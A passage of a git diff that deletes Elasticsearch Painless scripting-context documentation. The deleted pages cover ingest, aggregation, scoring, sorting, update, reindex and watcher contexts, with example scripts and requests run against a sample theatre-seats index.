-`boolean`::
-        Return `true` if the current document should be returned as a result of
-        the query, and `false` otherwise.
-
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-This script finds all unsold documents that cost less than $18.
-
-[source,Painless]
-----
-doc['sold'].value == false && doc['cost'].value < 18
-----
-
-Defining cost as a script parameter enables the cost to be configured
-in the script query request. For example, the following request finds
-all available theatre seats for evening performances that are under $18.
-
-[source,console]
-----
-GET seats/_search
-{
-  "query": {
-    "bool": {
-      "filter": {
-        "script": {
-          "script": {
-            "source": "doc['sold'].value == false && doc['cost'].value < params.cost",
-            "params": {
-              "cost": 18
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-ingest-processor-context.asciidoc b/docs/painless/painless-contexts/painless-ingest-processor-context.asciidoc
deleted file mode 100644
index db0e365c02e..00000000000
--- a/docs/painless/painless-contexts/painless-ingest-processor-context.asciidoc
+++ /dev/null
@@ -1,143 +0,0 @@
-[[painless-ingest-processor-context]]
-=== Ingest processor context
-
-Use a Painless script in an {ref}/script-processor.html[ingest processor]
-to modify documents upon insertion.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-{ref}/mapping-index-field.html[`ctx['_index']`] (`String`)::
-        The name of the index.
-
-{ref}/mapping-type-field.html[`ctx['_type']`] (`String`)::
-        The type of document within an index.
-
-`ctx` (`Map`)::
-        Contains extracted JSON in a `Map` and `List` structure for the fields
-        that are part of the document.
-
-*Side Effects*
-
-{ref}/mapping-index-field.html[`ctx['_index']`]::
-        Modify this to change the destination index for the current document.
-
-{ref}/mapping-type-field.html[`ctx['_type']`]::
-        Modify this to change the type for the current document.
-
-`ctx` (`Map`)::
-        Modify the values in the `Map/List` structure to add, modify, or delete
-        the fields of a document.
-
-*Return*
-
-void::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-The seat data contains:
-
-* A date in the format `YYYY-MM-DD` where the second digit of both month and day
-  is optional.
-* A time in the format HH:MM* where the second digit of both hours and minutes
-  is optional. The star (*) represents either the `String` `AM` or `PM`.
-
-The following ingest script processes the date and time `Strings` and stores the
-result in a `datetime` field.
-
-[source,Painless]
-----
-String[] dateSplit = ctx.date.splitOnToken("-");                     <1>
-String year = dateSplit[0].trim();
-String month = dateSplit[1].trim();
-
-if (month.length() == 1) {                                           <2>
-    month = "0" + month;
-}
-
-String day = dateSplit[2].trim();
-
-if (day.length() == 1) {                                             <3>
-    day = "0" + day;
-}
-
-boolean pm = ctx.time.substring(ctx.time.length() - 2).equals("PM"); <4>
-String[] timeSplit = ctx.time.substring(0,
-        ctx.time.length() - 2).splitOnToken(":");                    <5>
-int hours = Integer.parseInt(timeSplit[0].trim());
-int minutes = Integer.parseInt(timeSplit[1].trim());
-
-if (pm) {                                                            <6>
-    hours += 12;
-}
-
-String dts = year + "-" + month + "-" + day + "T" +
-        (hours < 10 ? "0" + hours : "" + hours) + ":" +
-        (minutes < 10 ? "0" + minutes : "" + minutes) +
-        ":00+08:00";                                                 <7>
-
-ZonedDateTime dt = ZonedDateTime.parse(
-         dts, DateTimeFormatter.ISO_OFFSET_DATE_TIME);               <8>
-ctx.datetime = dt.getLong(ChronoField.INSTANT_SECONDS)*1000L;        <9>
-----
-<1> Uses the `splitOnToken` function to separate the date `String` from the
-    seat data into year, month, and day `Strings`.
-    Note::
-    * The use of the `ctx` ingest processor context variable to retrieve the
-      data from the `date` field.
-<2> Appends the <<string-literals, string literal>> `"0"` value to a single
-    digit month since the format of the seat data allows for this case.
-<3> Appends the <<string-literals, string literal>> `"0"` value to a single
-    digit day since the format of the seat data allows for this case.
-<4> Sets the <<primitive-types, `boolean type`>>
-     <<painless-variables, variable>> to `true` if the time `String` is a time
-     in the afternoon or evening.
-     Note::
-     * The use of the `ctx` ingest processor context variable to retrieve the
-       data from the `time` field.
-<5> Uses the `splitOnToken` function to separate the time `String` from the
-     seat data into hours and minutes `Strings`.
-     Note::
-     * The use of the `substring` method to remove the `AM` or `PM` portion of
-       the time `String`.
-     * The use of the `ctx` ingest processor context variable to retrieve the
-       data from the `date` field.
-<6> If the time `String` is an afternoon or evening value adds the
-     <<integer-literals, integer literal>> `12` to the existing hours to move to
-     a 24-hour based time.
-<7> Builds a new time `String` that is parsable using existing API methods.
-<8> Creates a `ZonedDateTime` <<reference-types, reference type>> value by using
-     the API method `parse` to parse the new time `String`.
-<9> Sets the datetime field `datetime` to the number of milliseconds retrieved
-     from the API method `getLong`.
-     Note::
-     * The use of the `ctx` ingest processor context variable to set the field
-       `datetime`. Manipulate each document's fields with the `ctx` variable as
-       each document is indexed.
-
-Submit the following request:
-
-[source,console]
-----
-PUT /_ingest/pipeline/seats
-{
-  "description": "update datetime for seats",
-  "processors": [
-    {
-      "script": {
-        "source": "String[] dateSplit = ctx.date.splitOnToken('-'); String year = dateSplit[0].trim(); String month = dateSplit[1].trim(); if (month.length() == 1) { month = '0' + month; } String day = dateSplit[2].trim(); if (day.length() == 1) { day = '0' + day; } boolean pm = ctx.time.substring(ctx.time.length() - 2).equals('PM'); String[] timeSplit = ctx.time.substring(0, ctx.time.length() - 2).splitOnToken(':'); int hours = Integer.parseInt(timeSplit[0].trim()); int minutes = Integer.parseInt(timeSplit[1].trim()); if (pm) { hours += 12; } String dts = year + '-' + month + '-' + day + 'T' + (hours < 10 ? '0' + hours : '' + hours) + ':' + (minutes < 10 ? '0' + minutes : '' + minutes) + ':00+08:00'; ZonedDateTime dt = ZonedDateTime.parse(dts, DateTimeFormatter.ISO_OFFSET_DATE_TIME); ctx.datetime = dt.getLong(ChronoField.INSTANT_SECONDS)*1000L;"
-      }
-    }
-  ]
-}
-----
diff --git a/docs/painless/painless-contexts/painless-metric-agg-combine-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-combine-context.asciidoc
deleted file mode 100644
index 5cc9ad8ecbb..00000000000
--- a/docs/painless/painless-contexts/painless-metric-agg-combine-context.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
-[[painless-metric-agg-combine-context]]
-=== Metric aggregation combine context
-
-Use a Painless script to
-{ref}/search-aggregations-metrics-scripted-metric-aggregation.html[combine]
-values for use in a scripted metric aggregation. A combine script is run once
-per shard following a <<painless-metric-agg-map-context, map script>> and is
-optional as part of a full metric aggregation.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`state` (`Map`)::
-        `Map` with values available from the prior map script.
-
-*Return*
-
-`List`, `Map`, `String`, or primitive::
-        A value collected for use in a
-        <<painless-metric-agg-reduce-context, reduce script>>. If no reduce
-        script is specified, the value is used as part of the result.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc
deleted file mode 100644
index 8c0fddfa339..00000000000
--- a/docs/painless/painless-contexts/painless-metric-agg-init-context.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[painless-metric-agg-init-context]]
-=== Metric aggregation initialization context
-
-Use a Painless script to
-{ref}/search-aggregations-metrics-scripted-metric-aggregation.html[initialize]
-values for use in a scripted metric aggregation. An initialization script is
-run prior to document collection once per shard and is optional as part of the
-full metric aggregation.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`state` (`Map`)::
-        Empty `Map` used to add values for use in a
-        <<painless-metric-agg-map-context, map script>>.
-
-*Side Effects*
-
-`state` (`Map`)::
-        Add values to this `Map` to for use in a map.  Additional values must
-        be of the type `Map`, `List`, `String` or primitive.
-
-*Return*
-
-`void`::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc
deleted file mode 100644
index a34308aa938..00000000000
--- a/docs/painless/painless-contexts/painless-metric-agg-map-context.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
-[[painless-metric-agg-map-context]]
-=== Metric aggregation map context
-
-Use a Painless script to
-{ref}/search-aggregations-metrics-scripted-metric-aggregation.html[map]
-values for use in a scripted metric aggregation. A map script is run once per
-collected document following an optional
-<<painless-metric-agg-init-context, initialization script>> and is required as
-part of a full metric aggregation.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`state` (`Map`)::
-        `Map` used to add values for processing in a
-        <<painless-metric-agg-map-context, combine script>> or to be returned from the aggregation.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the current document where each field is a
-        `List` of values.
-
-`_score` (`double` read-only)::
-        The similarity score of the current document.
-
-*Side Effects*
-
-`state` (`Map`)::
-        Use this `Map` to add values for processing in a combine script.
-        Additional values must be of the type `Map`, `List`, `String` or
-        primitive. The same `state` `Map` is shared between all aggregated documents
-        on a given shard. If an initialization script is provided as part of the
-        aggregation then values added from the initialization script are
-        available.  If no combine script is specified, values must be
-        directly stored in `state` in a usable form. If no combine script and no
-        <<painless-metric-agg-reduce-context, reduce script>> are specified, the
-        `state` values are used as the result.
-
-*Return*
-
-`void`::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-contexts/painless-metric-agg-reduce-context.asciidoc b/docs/painless/painless-contexts/painless-metric-agg-reduce-context.asciidoc
deleted file mode 100644
index b492207ef44..00000000000
--- a/docs/painless/painless-contexts/painless-metric-agg-reduce-context.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[[painless-metric-agg-reduce-context]]
-=== Metric aggregation reduce context
-
-Use a Painless script to
-{ref}/search-aggregations-metrics-scripted-metric-aggregation.html[reduce]
-values to produce the result of a scripted metric aggregation. A reduce script
-is run once on the coordinating node following a
-<<painless-metric-agg-combine-context, combine script>> (or a
-<<painless-metric-agg-map-context, map script>> if no combine script is
-specified) and is optional as part of a full metric aggregation.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`states` (`Map`)::
-        `Map` with values available from the prior combine script (or a map
-        script if no combine script is specified).
-
-*Return*
-
-`List`, `Map`, `String`, or primitive::
-        A value used as the result.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-contexts/painless-min-should-match-context.asciidoc b/docs/painless/painless-contexts/painless-min-should-match-context.asciidoc
deleted file mode 100644
index 46bc2679de8..00000000000
--- a/docs/painless/painless-contexts/painless-min-should-match-context.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
-[[painless-min-should-match-context]]
-=== Minimum should match context
-
-Use a Painless script to specify the
-{ref}/query-dsl-terms-set-query.html[minimum] number of terms that a
-specified field needs to match with for a document to be part of the query
-results.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`params['num_terms']` (`int`, read-only)::
-        The number of terms specified to match with.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the current document where each field is a
-        `List` of values.
-
-*Return*
-
-`int`::
-        The minimum number of terms required to match the current document.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-Imagine that you want to find seats to performances by your favorite
-actors. You have a list of favorite actors in mind, and you want
-to find performances where the cast includes at least a certain
-number of them. `terms_set` query with `minimum_should_match_script`
-is a way to accomplish this. To make the query request more configurable,
-you can define `min_actors_to_see` as a script parameter.
-
-To ensure that the parameter `min_actors_to_see` doesn't exceed
-the number of favorite actors, you can use `num_term`s to get
-the number of actors in the list and `Math.min` to get the lesser
-of the two.
-
-[source,Painless]
-----
-Math.min(params['num_terms'], params['min_actors_to_see'])
-----
-
-The following request finds seats to performances with at least
-two of the three specified actors.
-
-[source,console]
-----
-GET seats/_search
-{
-  "query": {
-    "terms_set": {
-      "actors": {
-        "terms": [
-          "smith",
-          "earns",
-          "black"
-        ],
-        "minimum_should_match_script": {
-          "source": "Math.min(params['num_terms'], params['min_actors_to_see'])",
-          "params": {
-            "min_actors_to_see": 2
-          }
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
diff --git a/docs/painless/painless-contexts/painless-reindex-context.asciidoc b/docs/painless/painless-contexts/painless-reindex-context.asciidoc
deleted file mode 100644
index 4ecf17f6cb7..00000000000
--- a/docs/painless/painless-contexts/painless-reindex-context.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[[painless-reindex-context]]
-=== Reindex context
-
-Use a Painless script in a {ref}/docs-reindex.html[reindex] operation to
-add, modify, or delete fields within each document in an original index as its
-reindexed into a target index.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`ctx['op']` (`String`)::
-        The name of the operation.
-
-{ref}/mapping-routing-field.html[`ctx['_routing']`] (`String`)::
-        The value used to select a shard for document storage.
-
-{ref}/mapping-index-field.html[`ctx['_index']`] (`String`)::
-        The name of the index.
-
-{ref}/mapping-type-field.html[`ctx['_type']`] (`String`)::
-        The type of document within an index.
-
-{ref}/mapping-id-field.html[`ctx['_id']`] (`int`, read-only)::
-        The unique document id.
-
-`ctx['_version']` (`int`)::
-        The current version of the document.
-
-{ref}/mapping-source-field.html[`ctx['_source']`] (`Map`)::
-        Contains extracted JSON in a `Map` and `List` structure for the fields
-        existing in a stored document.
-
-*Side Effects*
-
-`ctx['op']`::
-        Use the default of `index` to update a document. Set to `none` to
-        specify no operation or `delete` to delete the current document from
-        the index.
-
-{ref}/mapping-routing-field.html[`ctx['_routing']`]::
-        Modify this to change the routing value for the current document.
-
-{ref}/mapping-index-field.html[`ctx['_index']`]::
-        Modify this to change the destination index for the current document.
-
-{ref}/mapping-type-field.html[`ctx['_type']`]::
-        Modify this to change the type for the current document.
-
-{ref}/mapping-id-field.html[`ctx['_id']`]::
-        Modify this to change the id for the current document.
-
-`ctx['_version']` (`int`)::
-        Modify this to modify the version for the current document.
-
-{ref}/mapping-source-field.html[`ctx['_source']`]::
-        Modify the values in the `Map/List` structure to add, modify, or delete
-        the fields of a document.
-
-*Return*
-
-`void`::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-contexts/painless-score-context.asciidoc b/docs/painless/painless-contexts/painless-score-context.asciidoc
deleted file mode 100644
index d62ea600f73..00000000000
--- a/docs/painless/painless-contexts/painless-score-context.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[painless-score-context]]
-=== Score context
-
-Use a Painless script in a
-{ref}/query-dsl-function-score-query.html[function score] to apply a new
-score to documents returned from a query.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the current document.  For single-valued fields,
-        the value can be accessed via `doc['fieldname'].value`.  For multi-valued
-        fields, this returns the first value; other values can be accessed
-        via `doc['fieldname'].get(index)`
-
-`_score` (`double` read-only)::
-        The similarity score of the current document.
-
-*Return*
-
-`double`::
-        The score for the current document.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-The following query finds all unsold seats, with lower 'row' values
-scored higher.
-
-[source,console]
---------------------------------------------------
-GET /seats/_search
-{
-  "query": {
-    "function_score": {
-      "query": {
-        "match": {
-          "sold": "false"
-        }
-      },
-      "script_score": {
-        "script": {
-          "source": "1.0 / doc['row'].value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:seats]
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-similarity-context.asciidoc b/docs/painless/painless-contexts/painless-similarity-context.asciidoc
deleted file mode 100644
index 98eff19a194..00000000000
--- a/docs/painless/painless-contexts/painless-similarity-context.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[painless-similarity-context]]
-=== Similarity context
-
-Use a Painless script to create a
-{ref}/index-modules-similarity.html[similarity] equation for scoring
-documents in a query.
-
-*Variables*
-
-`weight` (`float`, read-only)::
-        The weight as calculated by a <<painless-weight-context,weight script>>
-
-`query.boost` (`float`, read-only)::
-        The boost value if provided by the query.  If this is not provided the
-        value is `1.0f`.
-
-`field.docCount` (`long`, read-only)::
-        The number of documents that have a value for the current field.
-
-`field.sumDocFreq` (`long`, read-only)::
-        The sum of all terms that exist for the current field.  If this is not
-        available the value is `-1`.
-
-`field.sumTotalTermFreq` (`long`, read-only)::
-        The sum of occurrences in the index for all the terms that exist in the
-        current field.  If this is not available the value is `-1`.
-
-`term.docFreq` (`long`, read-only)::
-        The number of documents that contain the current term in the index.
-
-`term.totalTermFreq` (`long`, read-only)::
-        The total occurrences of the current term in the index.
-
-`doc.length` (`long`, read-only)::
-        The number of tokens the current document has in the current field.  This
-        is decoded from the stored {ref}/norms.html[norms] and may be approximate for
-        long fields
-
-`doc.freq` (`long`, read-only)::
-        The number of occurrences of the current term in the current
-        document for the current field.
-
-Note that the `query`, `field`, and `term` variables are also available to the
-<<painless-weight-context,weight context>>. They are more efficiently used
-there, as they are constant for all documents.
-
-For queries that contain multiple terms, the script is called once for each
-term with that term's calculated weight, and the results are summed.  Note that some
-terms might have a `doc.freq` value of `0` on a document, for example if a query
-uses synonyms.
-
-*Return*
-
-`double`::
-        The similarity score for the current document.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-sort-context.asciidoc b/docs/painless/painless-contexts/painless-sort-context.asciidoc
deleted file mode 100644
index d15d5b30811..00000000000
--- a/docs/painless/painless-contexts/painless-sort-context.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[[painless-sort-context]]
-=== Sort context
-
-Use a Painless script to
-{ref}/sort-search-results.html[sort] the documents in a query.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`doc` (`Map`, read-only)::
-        Contains the fields of the current document.  For single-valued fields,
-        the value can be accessed via `doc['fieldname'].value`.  For multi-valued
-        fields, this returns the first value; other values can be accessed
-        via `doc['fieldname'].get(index)`
-
-`_score` (`double` read-only)::
-        The similarity score of the current document.
-
-*Return*
-
-`double`::
-        The score for the specified document.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-To sort results by the length of the `theatre` field, submit the following query:
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "term": {
-      "sold": "true"
-    }
-  },
-  "sort": {
-    "_script": {
-      "type": "number",
-      "script": {
-        "lang": "painless",
-        "source": "doc['theatre'].value.length() * params.factor",
-        "params": {
-          "factor": 1.1
-        }
-      },
-      "order": "asc"
-    }
-  }
-}
-----
-// TEST[setup:seats]
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-update-by-query-context.asciidoc b/docs/painless/painless-contexts/painless-update-by-query-context.asciidoc
deleted file mode 100644
index d01e4a19d8c..00000000000
--- a/docs/painless/painless-contexts/painless-update-by-query-context.asciidoc
+++ /dev/null
@@ -1,95 +0,0 @@
-[[painless-update-by-query-context]]
-=== Update by query context
-
-Use a Painless script in an
-{ref}/docs-update-by-query.html[update by query] operation to add,
-modify, or delete fields within each of a set of documents collected as the
-result of query.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`ctx['op']` (`String`)::
-        The name of the operation.
-
-{ref}/mapping-routing-field.html[`ctx['_routing']`] (`String`, read-only)::
-        The value used to select a shard for document storage.
-
-{ref}/mapping-index-field.html[`ctx['_index']`] (`String`, read-only)::
-        The name of the index.
-
-{ref}/mapping-type-field.html[`ctx['_type']`] (`String`, read-only)::
-        The type of document within an index.
-
-{ref}/mapping-id-field.html[`ctx['_id']`] (`int`, read-only)::
-        The unique document id.
-
-`ctx['_version']` (`int`, read-only)::
-        The current version of the document.
-
-{ref}/mapping-source-field.html[`ctx['_source']`] (`Map`)::
-        Contains extracted JSON in a `Map` and `List` structure for the fields
-        existing in a stored document.
-
-*Side Effects*
-
-`ctx['op']`::
-        Use the default of `index` to update a document. Set to `none` to
-        specify no operation or `delete` to delete the current document from
-        the index.
-
-{ref}/mapping-source-field.html[`ctx['_source']`]::
-        Modify the values in the `Map/List` structure to add, modify, or delete
-        the fields of a document.
-
-*Return*
-
-`void`::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-The following query finds all seats in a specific section that have not been
-sold and lowers the price by 2:
-
-[source,console]
---------------------------------------------------
-POST /seats/_update_by_query
-{
-  "query": {
-    "bool": {
-      "filter": [
-        {
-          "range": {
-            "row": {
-              "lte": 3
-            }
-          }
-        },
-        {
-          "match": {
-            "sold": false
-          }
-        }
-      ]
-    }
-  },
-  "script": {
-    "source": "ctx._source.cost -= params.discount",
-    "lang": "painless",
-    "params": {
-      "discount": 2
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:seats]
diff --git a/docs/painless/painless-contexts/painless-update-context.asciidoc b/docs/painless/painless-contexts/painless-update-context.asciidoc
deleted file mode 100644
index b181f94bc16..00000000000
--- a/docs/painless/painless-contexts/painless-update-context.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[[painless-update-context]]
-=== Update context
-
-Use a Painless script in an {ref}/docs-update.html[update] operation to
-add, modify, or delete fields within a single document.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`ctx['op']` (`String`)::
-        The name of the operation.
-
-{ref}/mapping-routing-field.html[`ctx['_routing']`] (`String`, read-only)::
-        The value used to select a shard for document storage.
-
-{ref}/mapping-index-field.html[`ctx['_index']`] (`String`, read-only)::
-        The name of the index.
-
-{ref}/mapping-type-field.html[`ctx['_type']`] (`String`, read-only)::
-        The type of document within an index.
-
-{ref}/mapping-id-field.html[`ctx['_id']`] (`int`, read-only)::
-        The unique document id.
-
-`ctx['_version']` (`int`, read-only)::
-        The current version of the document.
-
-`ctx['_now']` (`long`, read-only)::
-        The current timestamp in milliseconds.
-
-{ref}/mapping-source-field.html[`ctx['_source']`] (`Map`)::
-        Contains extracted JSON in a `Map` and `List` structure for the fields
-        existing in a stored document.
-
-*Side Effects*
-
-`ctx['op']`::
-        Use the default of `index` to update a document. Set to `none` to
-        specify no operation or `delete` to delete the current document from
-        the index.
-
-{ref}/mapping-source-field.html[`ctx['_source']`]::
-        Modify the values in the `Map/List` structure to add, modify, or delete
-        the fields of a document.
-
-*Return*
-
-`void`::
-        No expected return value.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
-
-The following query updates a document to be sold, and sets the cost
-to the actual price paid after discounts:
-
-[source,console]
---------------------------------------------------
-POST /seats/_update/3
-{
-  "script": {
-    "source": "ctx._source.sold = true; ctx._source.cost = params.sold_cost",
-    "lang": "painless",
-    "params": {
-      "sold_cost": 26
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:seats]
diff --git a/docs/painless/painless-contexts/painless-watcher-condition-context.asciidoc b/docs/painless/painless-contexts/painless-watcher-condition-context.asciidoc
deleted file mode 100644
index 945c47646cc..00000000000
--- a/docs/painless/painless-contexts/painless-watcher-condition-context.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[[painless-watcher-condition-context]]
-=== Watcher condition context
-
-Use a Painless script as a {ref}/condition-script.html[watch condition]
-that determines whether to execute a watch or a particular action within a watch.
-Condition scripts return a Boolean value to indicate the status of the condition.
-
-include::painless-watcher-context-variables.asciidoc[]
-
-*Return*
-
-`boolean`::
-        Expects `true` if the condition is met, and `false` if it is not.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : {
-              "term": { "sold": "true"}
-            },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "condition" : {
-      "script" :
-      """
-        return ctx.payload.aggregations.theatres.buckets.stream()       <1>
-          .filter(theatre -> theatre.money.value < 15000 ||
-                             theatre.money.value > 50000)               <2>
-          .count() > 0                                                  <3>
-      """
-    },
-    "actions" : {
-      "my_log" : {
-        "logging" : {
-          "text" : "The output of the search was : {{ctx.payload.aggregations.theatres.buckets}}"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
-<1> The Java Stream API is used in the condition. This API allows manipulation of
-the elements of the list in a pipeline.
-<2> The stream filter removes items that do not meet the filter criteria.
-<3> If there is at least one item in the list, the condition evaluates to true and the watch is executed.
-
-The following action condition script controls execution of the my_log action based
-on the value of the seats sold for the plays in the data set. The script aggregates
-the total sold seats for each play and returns true if there is at least one play
-that has sold over $50,000.
-
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : {
-              "term": { "sold": "true"}
-            },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "actions" : {
-      "my_log" : {
-        "condition": {                                                <1>
-          "script" :
-          """
-            return ctx.payload.aggregations.theatres.buckets.stream()
-              .anyMatch(theatre -> theatre.money.value > 50000)       <2>
-          """
-        },
-        "logging" : {
-          "text" : "At least one play has grossed over $50,000: {{ctx.payload.aggregations.theatres.buckets}}"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
-This example uses a nearly identical condition as the previous example. The
-differences below are subtle and are worth calling out.
-
-<1> The location of the condition is no longer at the top level, but is within
-an individual action.
-<2> Instead of a filter, `anyMatch` is used to return a boolean value
-
-The following example shows scripted watch and action conditions within the
-context of a complete watch. This watch also uses a scripted
-<<painless-watcher-transform-context, transform>>.
-
-include::painless-watcher-context-example.asciidoc[]
diff --git a/docs/painless/painless-contexts/painless-watcher-context-example.asciidoc b/docs/painless/painless-contexts/painless-watcher-context-example.asciidoc
deleted file mode 100644
index db1394416b6..00000000000
--- a/docs/painless/painless-contexts/painless-watcher-context-example.asciidoc
+++ /dev/null
@@ -1,159 +0,0 @@
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "metadata" : { "high_threshold": 50000, "low_threshold": 15000 },
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : {
-              "term": { "sold": "true"}
-            },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "condition" : {
-      "script" :
-      """
-        return ctx.payload.aggregations.theatres.buckets.stream()
-          .anyMatch(theatre -> theatre.money.value < ctx.metadata.low_threshold ||
-                               theatre.money.value > ctx.metadata.high_threshold)
-      """
-    },
-    "transform" : {
-      "script":
-      """
-        return [
-          'money_makers': ctx.payload.aggregations.theatres.buckets.stream()
-            .filter(t -> {
-                return t.money.value > ctx.metadata.high_threshold
-            })
-            .map(t -> {
-                return ['play': t.key, 'total_value': t.money.value ]
-            }).collect(Collectors.toList()),
-          'duds' : ctx.payload.aggregations.theatres.buckets.stream()
-            .filter(t -> {
-                return t.money.value < ctx.metadata.low_threshold
-            })
-            .map(t -> {
-                return ['play': t.key, 'total_value': t.money.value ]
-            }).collect(Collectors.toList())
-          ]
-      """
-    },
-    "actions" : {
-      "log_money_makers" : {
-        "condition": {
-          "script" : "return ctx.payload.money_makers.size() > 0"
-        },
-        "transform": {
-          "script" :
-          """
-          def formatter = NumberFormat.getCurrencyInstance();
-          return [
-            'plays_value': ctx.payload.money_makers.stream()
-              .map(t-> formatter.format(t.total_value) + ' for the play ' + t.play)
-              .collect(Collectors.joining(", "))
-          ]
-          """
-        },
-        "logging" : {
-          "text" : "The following plays contain the highest grossing total income: {{ctx.payload.plays_value}}"
-        }
-      },
-      "log_duds" : {
-        "condition": {
-          "script" : "return ctx.payload.duds.size() > 0"
-        },
-        "transform": {
-          "script" :
-          """
-          def formatter = NumberFormat.getCurrencyInstance();
-          return [
-            'plays_value': ctx.payload.duds.stream()
-              .map(t-> formatter.format(t.total_value) + ' for the play ' + t.play)
-              .collect(Collectors.joining(", "))
-          ]
-          """
-        },
-        "logging" : {
-          "text" : "The following plays need more advertising due to their low total income: {{ctx.payload.plays_value}}"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
-The following example shows the use of metadata and transforming dates into a readable format.
-
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "metadata" : { "min_hits": 10000 },
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
